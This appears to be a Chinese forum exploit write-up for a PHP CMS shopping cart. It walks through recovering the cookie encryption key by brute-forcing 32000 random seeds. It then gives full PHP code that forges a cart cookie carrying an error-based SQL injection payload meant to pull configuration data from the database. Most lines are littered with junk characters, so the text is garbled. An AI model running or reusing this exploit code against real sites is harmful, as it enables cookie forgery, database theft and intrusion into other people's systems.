www.xxx.com/plus/search.php?keyword=: X9 A: j1 Y6 s# ~
在 include/shopcar.class.php中
/ u6 Z( R8 c5 `- n; c先看一下这个shopcar类是如何生成cookie的5 l. B0 R Z4 ^1 }
239 function saveCookie($key,$value)
4 `6 s9 }3 a. D- g* c& B8 @240 {
: L# s, G. }6 I! |, B241 if(is_array($value)). n! h/ S u4 O: \
242 {8 }0 b: |& z1 R* b
243 $value = $this->enCrypt($this->enCode($value));& n/ J1 x% \9 E( I2 f& E
244 }
8 ?" w6 T3 X) i8 r* [4 c' I245 else
1 C7 X, N# w. C2 G# Y9 a: x246 {2 I; K3 x. v8 }! j% ^' W9 I0 ~% U& e
247 $value = $this->enCrypt($value);) F" u( Z' }! Q% ]* y
248 }3 Y8 c' J0 v1 @% w! W
249 setcookie($key,$value,time()+36000,’/');! {4 L" m; S1 w6 T8 u% I5 V' ?
250 }
' Z' c$ w& e' r: ~简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
$ f* ~, R4 ~( z0 J. R3 w3 G$ Q# S186 function enCrypt($txt)
" N' n8 v0 ]2 [+ U. T. t N, |187 {
3 P- y! J6 ~% V188 srand((double)microtime() * 1000000);
! i) l4 g2 b5 @2 L6 ?: s( Y# d. V189 $encrypt_key = md5(rand(0, 32000));9 \0 V# z8 _* U
190 $ctr = 0;: O( |. g) j; K( q- R
191 $tmp = ”;* w8 _7 U3 k$ v' [/ C: }" f
192 for($i = 0; $i < strlen($txt); $i++)
& v J' B2 {5 c4 R193 {
9 ~, J4 p5 i& R- ^4 M. e3 ^1 E194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;' e8 Q$ ]# ^: A5 w
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- k( T) T: ?5 v; z Q% L% U, u196 }
. `- N- P; J9 }% v; f* m197 return base64_encode($this->setKey($tmp));, @3 a* `' f, m
198 }; M& I4 o$ |8 r0 {2 c$ X! N; t" [
213 function setKey($txt)
) D3 S7 b7 l9 p214 {, s7 u5 n2 [& N Q
215 global $cfg_cookie_encode;
' {, Y1 D' f& I% ^0 ~# y$ ^216 $encrypt_key = md5(strtolower($cfg_cookie_encode));. \3 ] ^* W1 N! d8 O; p) `) }
217 $ctr = 0;- p: ?4 w1 c/ V+ x
218 $tmp = ”;
9 `) A8 w: |) G. H219 for($i = 0; $i < strlen($txt); $i++)
# v' v( C2 l. t220 {
/ Y" u0 D! T2 w4 X, a% N% [221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;& {& Y- o5 X2 A+ n t: O- a J' A
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
! S& x# Q) m7 X3 |223 }
3 t6 h7 i5 T# L- o! h224 return $tmp;- ~0 A* ~' O, l! B# j6 N
225 }* s* G: u- ]7 m% O0 Q8 z+ q
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的% X9 c# ~5 d% m% N3 K1 }
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。5 B# J0 o3 D H
具体代码如下:% h6 q7 _" P; i6 [, u6 u- d
<?php
! ^ K! r( J( K! R, d7 I$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here; e$ [ K" a0 T7 Q
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
" O, r* u: T3 E" d$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
& t) n+ |1 T5 n sfunction reStrCode($code,$string)
) P S% |' ~4 c6 y% ], {- h5 s{
2 e3 H1 B: h! D, H" D; N$code = base64_decode($code);& Z5 z; v* ]. J' x6 P2 ]' |0 u
$key = “”;2 Z, `4 }7 H' g0 d# D. S2 a1 q
for($i=0 ; $i<32 ; $i++)
% [! l# G: J. I' z, S{* s- c3 s7 v; u8 \) m
$key .= $string[$i] ^ $code[$i];
. c6 _$ R7 ~$ X: }) b. l}4 d$ Q9 f1 D) ~: g( _
return $key;1 j4 b1 s! n6 A q; v1 s
}
! R" f3 Y7 @/ ^; \5 qfunction getKeys($cookie,$plantxt)
+ S6 o; [9 s6 L0 Z+ m& ]4 H; F{
5 W7 r4 |& o# T$tmp = $cookie;
4 T* m! U4 {3 r2 ^, l* F$results = array();
/ L4 W; h+ o S5 T" x# _# @/ ufor($j=0 ; $j < 32000; $j++)5 Q7 F$ Z" ]+ v. y0 u7 l; |, F4 }
{$ F' C; j- b6 _+ N Z
6 [( L- Q( H5 B8 J2 H, X# y$ x# w
$txt = $plantxt;
$ J4 X! j; { }' b. w' J S$ctr = 0;% o7 T# _+ E. ~% B1 a3 F! g
$tmp = ”;" N6 A% W) Q9 }0 k% U* d% d
$encrypt_key = md5($j);( n3 v! f |: i0 D! B$ j( G1 W
for($i =0; $i < strlen($txt); $i ++)
% e- P, |6 }- B{' [3 y( a+ V, |. M4 r5 S5 s; ]8 w
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;6 A0 S1 t* [5 S: W
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
# I. P' N/ w: _4 e ^7 V}
3 {, Y: s& O1 M( s% _# p$string = $tmp;
8 }! M; x- c& R& h: d$ y7 z$code = $cookie;
- s1 @' X/ d' a7 v$result = reStrCode($code,$string);2 e* Y r: @5 ?8 h7 v
if(eregi(‘^[a-z0-9]+$’,$result))& [1 G* Z! p1 z& ^
{4 ]) J3 B5 G# R; A; p' ]
echo $result.”\n”;
) @4 [; T6 R7 C) N; v$results[] = $result;
. b+ I. |4 g& }- S; R}) j/ y/ T# x* b8 J/ ~* o/ R
}6 Z6 _& i$ E$ J% c, }
return $results;* w' {4 ~4 Q- S/ n1 y/ Z+ O1 I
}0 V4 @- x" @3 g9 w S- G
$results1 = getKeys($cookie1,$plantxt);
. c- R9 t$ ]$ |' T6 w# ^9 F$results2 = getKeys($cookie2,$plantxt);
y; l* k* d9 I/ `5 v3 S* `print “\n——————–real key————————–\n”;
% i4 D% T: {0 K- P7 N. sforeach($results1 as $test1)
~' j3 T" v' c9 ?# H7 p{
' {* q' q; u" d& ~1 Yforeach($results2 as $test2)5 t+ ^. ?- e' v" R( D* ]6 T
{( ?/ ^2 p- g% |/ l7 m3 r
if($test1 == $test2). J/ z# ]3 c6 {* u
{
% @ X6 P: h3 n4 l/ Becho $test1.”\n”;
0 x4 q$ o2 P4 U% \2 o+ E, N}3 f s; ~( N' u
}
$ m! ? U% q, h0 _+ _}* ?9 R7 |% N2 R6 h; O
?>
/ @% _5 N+ F3 kcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
8 U) [6 r: J8 A5 Q; Z& E5 ~: T& bplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua12 T$ l1 K& u/ M$ Q- X! _
然后推算出md5(strtolower($cfg_cookie_encode))
9 ]/ m' u& Z' C e+ l+ [3 P% o/ v得到这个key之后,我们就可以构造任意购物车的cookie
# c1 {6 u V6 P* _接着看
: X% C- `6 l% \" J20 class MemberShops
: k! N( v+ R* z9 n1 H) P C$ J" G5 c& m21 {
0 J+ G' b) m5 X; N2 L22 var $OrdersId; q- u: D2 g/ s7 q1 C# k D
23 var $productsId; \; V9 t2 c% ?+ J: g
24
0 }( S. x" F3 U; x2 D25 function __construct()
3 z' x- v% q, Q8 ~8 t26 {
# r, a) e! y7 b% }9 d2 I27 $this->OrdersId = $this->getCookie(“OrdersId”);$ c8 d! H6 ~) H; Y
28 if(empty($this->OrdersId))
6 I1 P! Q9 J3 s29 {, C- @( W, e! W
30 $this->OrdersId = $this->MakeOrders();2 `' e. e& Y0 q0 U. [3 G
31 }
2 {/ }2 t# d+ n$ ?+ f, f8 b( z32 }3 w& u, h% { v {
发现OrderId是从cookie里面获取的
* k9 r8 Q$ q5 o, g, d然后) t. H k. ]9 g/ j( w! X
/plus/carbuyaction.php中的
$ ]9 w8 A) ?: P; _1 J3 Y! O29 $cart = new MemberShops();% j' s# e# m) L) t; u& Z
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
% W* V; o8 o k, M, }……
2 U E- K V. n3 B: `. r, ]173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);1 y- i7 G( T- v2 A$ |
接着我们就可以注入了! ?& a& O& h9 J0 f& G- _5 g
通过利用下面代码生成cookie:; v) y5 T2 x' u7 i0 f9 S* W
<?php3 s) L' o$ y6 S3 u, z5 W- @6 f
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;3 Y6 `4 F% z) U
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
1 b2 N2 N+ X' T! m) Xfunction setKey($txt)5 d: F0 r( g1 m2 a. A6 N: P
{+ t6 x& H% t7 d/ L. o1 P! |) t( s
global $encrypt_key;1 u8 u/ ^% H6 c
$ctr = 0;
4 c* f# `( \" X7 V4 g$tmp = ”;
- M0 o* ]+ V1 O$ Q6 ?6 A" Ifor($i = 0; $i < strlen($txt); $i++) k% m' ]" _1 I4 m! ?6 N
{% M5 J0 m& }0 l8 q, b1 m: m
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;! }) e. {! G) P& v
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];6 W) P8 K$ V" c) R/ s6 I6 i
}
9 }& d; v! Z: `$ C7 Sreturn $tmp;6 Z1 M2 ^; i! O( Y7 r* }
}. r7 J9 f% O/ o' h' q
function enCrypt($txt)! k5 a0 I9 ^! ?3 j4 w8 c8 v% @
{
1 P8 } O' _+ ~srand((double)microtime() * 1000000);
+ o0 j; }& U/ M% p- d$encrypt_key = md5(rand(0, 32000));( E1 {5 A3 J3 ~7 z7 z
$ctr = 0;1 D' }2 X6 P9 C! X0 _
$tmp = ”;8 K& {* K% i. K+ F
for($i = 0; $i < strlen($txt); $i++)
# p' }" m7 z8 @, Z) M{
: E1 `, U9 P5 n$ v* p$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
; D/ X' J; Q+ N9 P$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
8 ^% z# `" ]# n}
' g# Y7 k3 ~* V" ]& x+ ?return base64_encode(setKey($tmp));- `8 G+ L$ D x( S* j2 ^* N C4 C$ {
}2 F% `7 |) ?, b1 A+ }/ d* X; K
for($dest =0;$dest = enCrypt($txt);). X2 e# C6 {4 _3 I. s3 c
{
7 H9 b+ s+ _7 _, k! ]6 ?& u. L( l. bif(!strpos($dest,’+'))
9 W4 U$ C \: U- o& ?2 k) p{8 s+ A, k/ H# ^7 p' F* C2 ^. I
break;" |& F% b7 s. U0 s- k
}) D/ `/ ?, U5 `" `) q
}$ M/ L. f- m; _# S5 N9 s/ i
echo $dest.”\n”; D0 Y5 `, m/ ?. y( j
?>" C5 p* A6 Q) A9 v6 _6 G; o/ d
% F3 H6 R# _4 x# O h8 S |